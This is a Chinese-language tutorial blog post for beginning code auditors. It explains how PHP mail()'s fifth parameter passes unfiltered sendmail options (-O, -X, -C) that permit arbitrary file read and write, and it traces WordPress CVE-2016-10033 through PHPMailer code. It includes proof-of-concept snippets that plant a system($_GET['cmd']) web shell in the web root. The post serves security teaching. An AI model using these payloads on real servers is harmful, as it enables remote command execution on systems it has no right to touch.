前言

准备重新写一个关于php敏感函数的系列文章,通过这些知识点能尽快的认识到一些函数在默认参数情况下(或者说习惯做法)可能造成的风险,同时也能让我们在代码审计时能够较快的定位漏洞点,大大提高审计效率。每篇文章都会从函数使用方法介绍、漏洞分析两方面进行总结,最后应该还会跟着一些审计实例。文章比较基础,并且已经有很多类似文章,主要定位就是给代码审计新手作为学习资料的,毕竟自己也是小白,写不出太深奥的文章,出一个系列,也是为了方便查找资料,提高审计效率。
正文
这篇文章主要来介绍一下mail()函数在实际运用中可能出现的任意文件读取和任意命令执行的问题。

1. 函数使用方法及漏洞成因介绍

mail(to,subject,message,headers,parameters)
  通过官方介绍,我们可以看出来mail函数一共有5个参数:
  $to --规定邮件接受者(必需)
  $subject -- 规定邮件的主题。该参数不能包含任何换行字符(必需)
  $message -- 邮件要发送的信息(必需)
  $headers -- 规定额外的报头,比如 From, Cc 以及 Bcc。(可选)
  $parameters -- 规定 sendmail 程序的额外参数。(可选)

可以明确的看出来mail()函数的第五个参数是规定sendmail的额外参数,也就是说可以直接把参数内容传递给sendmail。虽然是可选的,但还是有很大一部分代码加带了这个参数。
看似没有任何毛病,但是问题就出在传递给sendmail时没有任何过滤,我们再来看一下sendmail有什么功能(功能有很多,我只选择了几个和漏洞有关系的功能):
-O option=valueSet option option to the specified value. This form uses long names. See below for more details.

-X logfileLog all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

-C fileUse alternate configuration file. sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

QueueDirectory=queuedirSelect the directory in which to queue messages.

根据官方介绍,sendmail的-O参数是设置一些缺省值。而在mail()相关漏洞中我们需要设置的是QueueDirectory这个值,他是用来存放mail中的消息队列的。-X参数是用来写入日志文件的,但是sendmail并没有限制日志的写入目录和日志格式,导致我们可以写入任意格式的“日志文件”到任意目录。-C参数用来加载一些配置文件,和-X一样,我们可以加载任意目录的任意格式的“配置文件”。

2. mail函数可能造成的风险和问题

通过上面mail函数的使用方法和漏洞成因我们知道了,如果不限制第五个参数的内容,而直接传给sendmail的话,就有可能造成任意文件读取和任意文件写入的问题。

任意文件读取:

测试代码:

<?php
$to = '[email protected]';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -C/var/www/html/phpinfo.php -X/var/www/html/1.txt';
mail($to, $subject, $message, $headers, $options);
?>

其中-O规定临时目录为/tmp -C加载phpinfo.php为配置文件 -X把日志文件写入/var/www/html/1.txt(因为是读取,所以我用的1.txt,当然可以是任意后缀) 就会导致任意文件读取,把phpinofo.php的内容作为配置文件加载,然后把文件内容写入日志文件1.txt中

任意文件写入:

测试代码:

<?php
$to = '[email protected]';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);
?>

直接把文件内容写入到rce.php中。即可完成我们的写shell工作。

3. mail()实例审计(以wordpress为例CVE-2016-10033)

wordpress在< 4.7.1的版本中,因为mail函数的原因,会导致远程代码执行漏洞。这里给大家来演示一下审计过程,我这里的审计还是从mail()函数出发,来说一下如何快速定位漏洞点。
在实际的审计中,我们知道了mail()函数会导致一定的风险,那么我们再审计的时候,可以全局搜索一下mail(),看看有没有函数造成风险的代码,在wordpress中,我们用法师的审计工具进行全局搜索mail

在第49行,我们看到mail函数中存在第五个参数,随机查看相关代码:

private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }

可以看到第五个参数$params由mailPassthru传入,也就是说如果我们控制了这个参数就会导致相应的问题,我们继续网上追,来看一下我们能不能控制这个地方

只有一个地方调用了mailPassthru() ,查看相应代码:

protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

可以看到$params = sprintf('-f%s', $this->Sender); 继续追$this->Sender


可以看到$this->Sender在setFrom()中由$adress获得,而$address是setFrom()的第一个参数,于是继续追setFrom()

查看代码:

if ( !isset( $from_name ) )
        $from_name = 'WordPress';
    if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
            $sitename = substr( $sitename, 4 );
        }
        $from_email = 'wordpress@' . $sitename;
    }

...
    $phpmailer->setFrom( $from_email, $from_name, false );

可以看出来setFrom的第一个参数$from_email由$from_email = 'wordpress@' . $sitename;获得,而$sitename由$_SERVER['SERVER_NAME']获得,在实际的利用中我们是可以控制SERVER_NAME的,也就是可以控制$sitename,从而能够控制mail()的第五个参数,从而造成漏洞的产生,当然要在wordpress中利用这个漏洞,还需要绕过一些过滤,这不是本文的重点。网上也有很多相应的绕过分析,大家可以去参考。

分析漏洞所用的wordpress版本已经在附件中打包。

wordpress-4.6.zip (8.247 MB) 下载附件
源链接

Hacking more

...